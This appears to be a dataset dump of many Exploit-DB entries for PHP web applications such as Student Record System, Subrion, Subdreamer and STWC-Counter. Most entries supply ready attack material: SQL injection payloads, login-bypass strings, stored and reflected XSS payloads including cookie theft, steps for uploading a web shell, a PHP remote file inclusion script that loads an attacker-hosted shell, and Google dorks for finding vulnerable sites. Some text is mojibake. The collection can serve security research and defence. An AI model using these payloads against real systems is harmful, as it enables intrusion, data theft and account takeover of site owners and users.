deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50782
Description: Student Record System 1.0 - 'cid' SQLi (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-23
Author: Mohd. Anees

Exploit:
# Exploit Title: Student Record System 1.0 - 'cid' SQLi (Authenticated)
# Exploit Author: Mohd. Anees
# Contact: https://www.linkedin.com/in/aneessecure/
# Software Homepage: https://phpgurukul.com/student-record-system-php/
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 22.02.2022
######## Description ########
#
# 
#  Authenticate and edit course section where cid parameter will appear and put your payload at there it'll work 
# 
#  http://localhost/schoolmanagement/schoolmanagement/pages/edit-course.php?cid=-7%27%20union%20select%201,2,3,4,5--+
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

GET /schoolmanagement/pages/edit-course.php?cid=-7%27%20union%20select%201,2,3,4,5--+ HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=m1s7h9jremg0vj7ipkgf9m05n1nt
Connection: close
Exploit-DB #49974
Description: Student Result Management System 1.0 - 'class' SQL Injection
Type: webapps
Platform: php
Date: 2021-06-10
Author: Riadh Benlamine

Exploit:
# Exploit Title: Student Result Management System 1.0 - 'class' SQL Injection
# Date: 09.09.2020
# Exploit Author: Riadh Benlamine (rbn0x00)
# Vendor Homepage : https://projectworlds.in
# Software Page: https://projectworlds.in/free-projects/php-projects/student-result-management-system-project-in-php/
# Version: 1.0
# Category: Webapps
# Tested on: Apache2+MariaDB latest version
# Description : student.php is prone to an SQL-injection vulnerability because it fails to sanitize user input before pushing it into SQL query.Exploiting this issue could allow the attacker to compromise the server.

The vulnerable parameter uri: /srms/student.php?class=<injection point>

exploit:

    Parameter: class (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: class=-6346' OR 3657=3657#&rn=1

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: class=1' OR (SELECT 3201 FROM(SELECT COUNT(*),CONCAT(0x71786a7171,(SELECT (ELT(3201=3201,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hNXT&rn=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: class=1' AND (SELECT 1049 FROM (SELECT(SLEEP(5)))gIdB)-- yYYR&rn=1

    Type: UNION query
    Title: MySQL UNION query (random number) - 7 columns
    Payload: class=1' UNION ALL SELECT 8674,8674,8674,CONCAT(0x71786a7171,0x[PII_REDACTED]6b[PII_REDACTED]4f476d6566766d6f694d707561566e6150744d[PII_REDACTED]6e7a6c784c,0x71766b7a71),8674,8674,8674#&rn=1
Exploit-DB #51528
Description: Student Study Center Management System v1.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-06-19
Author: VIVEK CHOUDHARY

Exploit:
# Exploit Title: Student Study Center Management System v1.0 - Stored Cross-Site Scripting (XSS)
# Date of found: 12/05/2023
# Exploit Author: VIVEK CHOUDHARY @sudovivek
# Version: V1.0
# Tested on: Windows 10
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/student-study-center-management-system-using-php-and-mysql/
# CVE: CVE-2023-33580
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33580

Vulnerability Description -

    The Student Study Center Management System V1.0, developed by PHPGurukul, is susceptible to a critical security vulnerability known as Stored Cross-Site Scripting (XSS). This vulnerability enables attackers to inject malicious JavaScript code, which is then stored and executed by the application. The underlying issue lies in the system's failure to adequately sanitize and validate user-provided input within the "Admin Name" field on the Admin Profile page, thereby allowing attackers to inject arbitrary JavaScript code.


Steps to Reproduce -

    The following steps demonstrate how to exploit the Stored XSS vulnerability in the Student Study Center Management System V1.0:
    
        1.  Visit the Student Study Center Management System V1.0 application by accessing the URL: http://localhost/student-study-center-MS-PHP/sscms/index.php.

        2.  Click on the "Admin" button to navigate to the admin login page.

        3.  Login to the Admin account using the default credentials.
                - Username: admin
                - [CREDENTIAL_REDACTED]

        4.  Proceed to the Admin Profile page.

        5.  Within the "Admin Name" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.

        6.  Click on the "Submit" button.

        7.  Refresh the page, and the injected payload will be executed.


As a result of successful exploitation, the injected JavaScript code will be stored in the application's database. Subsequently, whenever another user accesses the affected page, the injected code will execute, triggering an alert displaying the text "XSS." This allows the attacker to execute arbitrary code within the user's browser, potentially leading to further attacks or unauthorized actions.
Exploit-DB #8481
Description: Studio Lounge Address Book 2.5 - 'profile' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-04-20
Author: JosS

Exploit:
Address Book 2.5 (profile) Remote Shell Upload Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://www.studiolounge.net/2007/08/17/address-book-25

- vuln file: upload-file.php

  The upload-file.php doesn't check the type of archive 
  and you can uploaded the phpshell on the server.


~ [EXPLOITING]

1) /index2.php?title=add (upload your shell, ex: c99.php)
2) you should go to your "View Full Information" (ex: index2.php?title=fullview&id=150)
3) you view source code and search "profiles/imagethumb.php?s=" (ex: profiles/imagethumb.php?
   s=57b7b72739c79f02d990c4239c4169b9.php)

4) view shell: http://target/profiles/57b7b72739c79f02d990c4239c4169b9.php

__h0__

# milw0rm.com [2009-04-20]
Exploit-DB #8509
Description: Studio Lounge Address Book 2.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-21
Author: ThE g0bL!N

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…-----------------------------
  
 [~]Download: http://www.studiolounge.net/2007/08/17/address-book-25
  
 [~]Software: Studio Lounge Address Book 2.5
 [~]author: ThE g0bL!N
 [~] Home: WWW.h4ckf0ru.com
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s
[~] -----------------------------{ Iam MuSlIm}------------------------------
  
Control Panel Bypass
-----------------------
exploit:
-------
http://loclahost/addressbook/index.php
Then go to url:
--------------
http://loclahost/addressbook/home.php
Control Panle Bypassed :)
[~]--------------------------------------------------------------------------------
 
 [~] Greetz To:
  [~]
  [~] Dos-Dz TeaM - Snakes TeaM - Team Sobh4n ALLAH -His0k4-
  [~]
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2009-04-21]
Exploit-DB #41112
Description: Study Abroad Educational Website Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Study Abroad Educational Website Script
# Script Buy Now: http://www.popularclones.com/products/Study-Abroad-Educational-Website
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/list_blogs.php?mpid=[SQL]
# http://localhost/[PATH]/admin/list_listing.php?mpid=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #30640
Description: Stuffed Guys Stuffed Tracker - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-10-04
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25931/info

Stuffed Tracker is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://target/path/admin/campaign_link.html?GenCode=1&CampId=1&SplitId=&GLink=XSS
http://target/PATH/actions.html?CpId=1&SiteId=1&Mode=new&EditId=[XSS]
Exploit-DB #3379
Description: STWC-Counter 3.4.0 - 'downloadcounter.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-26
Author: burncycle

Exploit:
<?php

//File Inclusion Exploit for STWC-Counter <= 3.4.0.0
//Found and Exploit Coded by burncycle - burncycle[(at)]robert-beran[(dot)]de
//|
//Vendor: http://www.stwc-counter.de/
//Dork: www.stwc-counter.de
//|
//Bug in "downloadcounter.php":
//..
//$stwc_verzeichniss = $stwc_counter_verzeichniss;
//..
//include($stwc_verzeichniss . "funktionen_intern.php");
//include($stwc_verzeichniss . "einstellungen.php");
//include($stwc_verzeichniss . "funktionen_ausgabe.php");
//..
//include($stwc_verzeichniss . "sprache/deutsch.php");
//..
//include($stwc_verzeichniss . "sprache/english.php");
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])
//Example: php exploit.php http://pathtoscript.com/counter/ http://pathtoshell.com/shell.txt? (localhost:8118)
//|
//Your Box Needs the cURL extension of PHP
//The exploit works only with register_globals = On, allow_url_fopen = On and allow_url_include = On PHP settings on the target box
//|
//Edited 20.05.2007 by ensai (the same person as burncycle ;))
//Added proxy support, working conditions supplemented and easier file inclusion statement

//Nur ausnahme Fehler anzeigen
error_reporting(1);

echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell] ([proxy:port])\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/counter/ http://pathtoshell.com/shell.txt? (localhost:8118)\r\n\r\n";

//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{

  $pathtoscript = $_SERVER["argv"][1];
  $pathtoshell = $_SERVER["argv"][2];

  //erzeuge ein neues cURL Handle
  $ch = curl_init();
  
  //proxy setzen
  if (!empty($_SERVER['argv'][3]))
  {
    curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);
  }

  //setzte die URL und andere Optionen
  curl_setopt($ch, CURLOPT_URL, $pathtoscript."downloadcounter.php?stwc_counter_verzeichniss=".$pathtoshell);
  curl_setopt($ch, CURLOPT_HEADER, 0);

  //f?hre die Aktion aus
  curl_exec($ch);

  //schlie?e das Handle und gebe Systemresourcen frei
  curl_close($ch);

}

?>

# milw0rm.com [2007-02-26]
Exploit-DB #26235
Description: Stylemotion WEB//NEWS 1.4 - 'news.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-09-08
Author: onkel_fisch

Exploit:
source: https://www.securityfocus.com/bid/14776/info
 
WEB//NEWS is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/include_this/news.php?cat=[SQL]
http://www.example.com/include_this/news.php?id=[SQL]
http://www.example.com/include_this/news.php?stof=[SQL]
Exploit-DB #26236
Description: Stylemotion WEB//NEWS 1.4 - 'print.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-08
Author: onkel_fisch

Exploit:
source: https://www.securityfocus.com/bid/14776/info
  
WEB//NEWS is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/print.php?id=[SQL]
Exploit-DB #26234
Description: Stylemotion WEB//NEWS 1.4 - 'startup.php' Cookie SQL Injection
Type: webapps
Platform: php
Date: 2005-09-08
Author: onkel_fisch

Exploit:
source: https://www.securityfocus.com/bid/14776/info

WEB//NEWS is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following is sufficient to supply to 'modules/startup.php' to authenticate:
wn_userid=1; wn_userpw=0' OR '1'='1
Exploit-DB #28223
Description: Subberz Lite - UserFunc Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-14
Author: Chironex Fleckeri

Exploit:
source: https://www.securityfocus.com/bid/18990/info

SubberZ[Lite] is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com[site]/[path]/user-func.php?myadmindir=[Shell]
Exploit-DB #25235
Description: Subdreamer 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2005-03-18
Author: GHC team

Exploit:
source: https://www.securityfocus.com/bid/12839/info

Subdreamer is prone to an SQL injection vulnerability.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.

Subdreamer Light is reported to be affected by this issue. All versions of Subdreamer Light are considered to be vulnerable at the moment. 

http://www.example.com/index.php?categoryid=3&p17_sectionid=1&p17_imageid=[SQL code]
Exploit-DB #11749
Description: Subdreamer 3.0.1 - CMS upload
Type: webapps
Platform: php
Date: 2010-03-15
Author: indoushka

Exploit:
========================================================================================
| # Title    : Subdreamer.v3.0.1 cms upload Vulnerability
| # Author   : indoushka
| # email    : indoushka@hotmail.com
| # Home     : www.h4kz.com
| # Web Site :
| # Dork     : Website powered by Subdreamer CMS & Sequel Theme Designed by indiqo.media                                                            $
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)
| # Bug      : upload
======================      Exploit By indoushka       =================================
# Exploit  :



1- to Register go to : http://127.0.0.1/upload/index.php?categoryid=6

2- after Register go to http://127.0.0.1/upload/index.php?categoryid=3&p17_sectionid=2&p17_action=insertimage (and use tamper data)


Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz :
Exploit-db Team :
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * www.no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net
www.alkrsan.net * www.kadmiwe.net * www.arhack.net * D4NB4R http://www.ilegalintrusion.net/foro/
--------------------------------------------------------------------------------------------------------------
Exploit-DB #33657
Description: Subex Nikira Fraud Management System GUI - 'message' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-18
Author: thebluegenius

Exploit:
source: https://www.securityfocus.com/bid/38311/info

The Subex Nikira Fraud Management System GUI is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 


http://www.example.com/login/prompt?message=%3Cscript%3Ealert%28%27Reflected%20XSS%27%29%3C/script%3E
Exploit-DB #8683
Description: Submitter Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-14
Author: ThE g0bL!N

Exploit:
---------------------------------------------------------------
------------------------------------------------------------
Submitter Script 2(Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------------
Founder : ThE g0bL!N
Vendor:http://submitterscript.com/
More info:http://submitterscript.com/products.php
---------------------------------------------------------------
---------------------------------------------------------------
Auth Bypass
------------
http://victim/[path]/admin/
username:' or '1=1
Password:' or '1=1
--------------------------------------
Dem0
----
http://demo.submitterscript.com/admin/
--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-14]
Exploit-DB #48488
Description: Submitty 20.04.01 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-19
Author: humblelad

Exploit:
# Exploit Title: Submitty 20.04.01 - Persistent Cross-Site Scripting
# Date: 2020-05-15
# Exploit Author: humblelad
# Vendor Homepage: http://submitty.org/
# Software Link: https://github.com/Submitty/Submitty/releases
# Version: 20.04.01
# Tested on: Mac Os Catalina
# CVE : CVE-2020-12882


Description:
Submitty through 20.04.01 allows XSS via upload of an SVG document, as demonstrated
by an attack by a Student against a Teaching Fellow.This vulnerability can potentially enable any student to takeover the account of TA if they open the attachment as the cookie gets exposed.

1.As student login, via student:student

2.Go here http://localhost:1501/s20/tutorial/gradeable/01_simple_python (as ex.)

3.In the new submission upload the  malicious .svg file with any xss payload.

	

Login as ta and open the same for grading. The XSS gets triggered alerting the cookies.
Exploit-DB #38525
Description: Subrion 3.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-10-23
Author: bRpsd

Exploit:
{-} Title => Subrion 3.X.X - Multiple Exploits

{-} Author => bRpsd (skype: vegnox)

{-} Date Release => 23 October, 2015


{-} Vendor => Subrion
    Homepage => http://www.subrion.org/
	Download => http://tools.subrion.org/get/latest.zip
	Vulnerable Versions => 3.X.X
	Tested Version => Latest, 3.3.5 on a Wamp Server.

{x} Google Dork:: 1 => "Â© 2015 Powered by Subrion CMS"
{x} Google Dork:: 2 => "Powered by Subrion CMS"

--------------------------------------------------------------------------------------------------------------------------------
The installation folder never get deleted or protected unless you deleted it yourself.
Which let any unauthorized user access the installation panel and ruin your website in just a few steps ..
--------------------------------------------------------------------------------------------------------------------------------


#######################################################################################
Vulnerability #1 : Reset Administrator Password & Database settings
Risk: High
File Path: http://localhost/cms/install/install/configuration/
#######################################################################################



#######################################################################################
Vulnerability #2 : Arbitrary File Download + Full Path Disclouser 
Risk: Medium
File Path: http://localhost/cms/install/install/download/
Method: POST
Parameter (for file contents) : config_content
#######################################################################################


#######################################################################################
Vulnerability #3 : Unauthorized Arbitrary Plugins Installer 
Risk: Medium
File Path: http://localhost/cms/install/install/plugins/
#######################################################################################


** SOLUTION ** ! :
Solution for all vulnerabilities is to delete the file located at:
/install/modules/module.install.php


H@PPY H@CK1NG !
Exploit-DB #47469
Description: Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-10-07
Author: Creatigon

Exploit:
# Title: Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting
# Date: 2019-10-07
# Author: Min Ko Ko (Creatigon)
# Vendor Homepage: https://subrion.org/
# CVE : https://nvd.nist.gov/vuln/detail/CVE-2019-17225
# Website : https://l33thacker.com
# Description :  Allows XSS via the panel/members/ Username, Full Name, or
# Email field, aka an "Admin Member JSON Update" issue.

First login the panel with user credential, Go to member tag from left menu.

http://localhost/panel/members/

Username, Full Name, Email are editable with double click on it. Insert the
following payload

<img src=x onerror=alert(document.cookie)>